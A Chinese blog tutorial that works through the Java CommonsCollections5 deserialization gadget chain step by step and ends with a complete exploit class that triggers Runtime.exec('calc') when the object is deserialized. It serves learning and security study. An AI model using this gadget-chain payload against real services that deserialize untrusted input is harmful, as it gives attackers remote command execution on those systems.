CommonsCollection5 准备用这条链来入门JAVA反序列化
0x01 环境搭建 IDEA 2021.2.1
创建Maven项目
然后就是Next写项目名称啥的这里就不贴图了,不同IDEA版本可能有区别
添加依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?xml version="1.0" encoding="UTF-8"?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.example</groupId > <artifactId > cc</artifactId > <version > 1.0-SNAPSHOT</version > <properties > <maven.compiler.source > 8</maven.compiler.source > <maven.compiler.target > 8</maven.compiler.target > </properties > <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies > </project >
这样基本就没问题了
后续准备分析另外的链子再添加依赖就行了
0x02 入门反序列化的一些个人理解 先学了PHP的反序列化再回来学JAVA的,如果准备学的师傅们觉得看JAVA反序列化看不懂很复杂,也可以用PHP的来入手
前提是JAVA基础已经了解了,反射这些也都学过了,可是试试用php反序列化找找感觉
我也是了解过后看JAVA反序列化还是有点不明白,学了php再回来看感觉就好理解一些了
就像PHP的反序列化入口一般是__destruct
JAVA反序列化的入口是readObject()方法
所以选择能用的类需要满足2个条件
类必须实现Serializable接口
类里需要有readObject()方法
PHP中的属性可以在payload的构造函数中修改
PHP的属性在类中如果指定了类型,在写payload也可以改成别的类型,这可能和PHP弱类型有关
JAVA的属性需要用反射修改,用反射修改的类型,必须和属性是相同的类型,不然报错修改不成功
上面是一些感觉有差异的地方
下面开始学习CC5这条链
0x03 CommonsCollection5利用过程 先写下序列化和反序列化的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5 { public static void main (String[] args) throws Exception { serialize(val); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
下面是CC5的调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */
上面是从ysoserial复制下来的调用链
ObjectInputStream.readObject()这行是最开始的不用管
我个人理解就是反序列化出来的类附到ObjectInputStream后调用readObject()
可以看到最先调用的是BadAttributeValueExpException中的readObject()方法
readObject第二行取了val属性放valObj里面,判断一些基础的类是不是该类的父类
这里的gf.get问就是不会先不看了,知道取val到valObj里面就行了
这里是System.getSecurityManager() == null判断过了,不知道这是啥用的,和漏洞关系好像不大也不看了
然后就会调用valObj的toString方法,这里就要知道valObj是什么类了
根据gadget可以知道调用的是TiedMapEntry类的toString方法,找过去发现是这样的
1 2 3 public String toString () { return getKey() + "=" + getValue(); }
再看getValue()方法
1 2 3 public Object getValue () { return map.get(key); }
发现调用了get方法
这里map和key都是属性,可以使用反射修改
来看gadget知道调用的是LazyMap的get方法
检查map里是否存在上面传来的键值key,如果没有往下走到transform触发命令执行
这里的map是LazyMap的属性,严格来说是AbstractMapDecorator抽象类的属性
和上面的map是不同的,上面的map是TiedMapEntry的属性
这里的factory也是属性是可控的,到这里先停下把上面整理下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception { Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1 )}); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Class valClass = val.getClass(); Field valField = valClass.getDeclaredField("val" ); valField.setAccessible(true ); valField.set(val, entry); serialize(badAttributeValueExpException); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
可以在lazyMap的get方法里打断点
可以看到map里面是空的,可以走进判断
这里要注意一个问题,要是前面还有断点,比如toString(),getValue()在这些函数里面打断点,idea的debug功能会调用类的toString()方法导致map里面出现键值对走不进判断,如果前面的过程都看明白了,可以把断点取消掉,点一个到get就不会有这个问题了
还有一点如果在调用栈里面点了之前的函数也会导致map里面出现数据,这也是需要注意的
这问题困扰了挺久的,后面找大哥问了后找到原因了
这里前半部分已经分析好了,到下面进进出出的这块了
其实下面那块就是一个for循环
看到gadget的ChainedTransformer.transform()
知道factory需要改为ChainedTransformer,这里是可以改的,因为factory是Transformer类型的
来看一下ChainedTransformer的transform方法
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
这里的iTransformers也是属性,可以通过反射修改
先来看看exp修改iTransformers的内容然后一条条看作用
transformers就是iTransformers要修改成的值
在ChainedTransformer.transform方法可以看到会循环取iTransformers里面的类然后再调用该类的transform,赋值到object,然后再把object当作参数传入
在exp里面可以看到第一个是ConstantTransformer类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
所以第一条调用完object就是Runtime.class
接下来看第二条
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
下面看第三步
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
第四步
1 2 3 4 5 6 7 8 9 Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
第五步
这是ysoserial上面复制下来的,看到大佬说可能是为了稳定啥的
真要打的时候不写也没有问题
这就是CC5的全部过程,下面将上下的exp拼下
0x04 EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), new ConstantTransformer(1 ) }; Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1 )}); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Class valClass = val.getClass(); Field valField = valClass.getDeclaredField("val" ); valField.setAccessible(true ); valField.set(val, entry); Class transformerChainClass = transformerChain.getClass(); Field transformerChainClassField = transformerChainClass.getDeclaredField("iTransformers" ); transformerChainClassField.setAccessible(true ); transformerChainClassField.set(transformerChain, transformers); serialize(val); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
最后该链需要在8u76以上的版本
因为小于该版本BadAttributeValueExpException没有readObject方法不支持序列化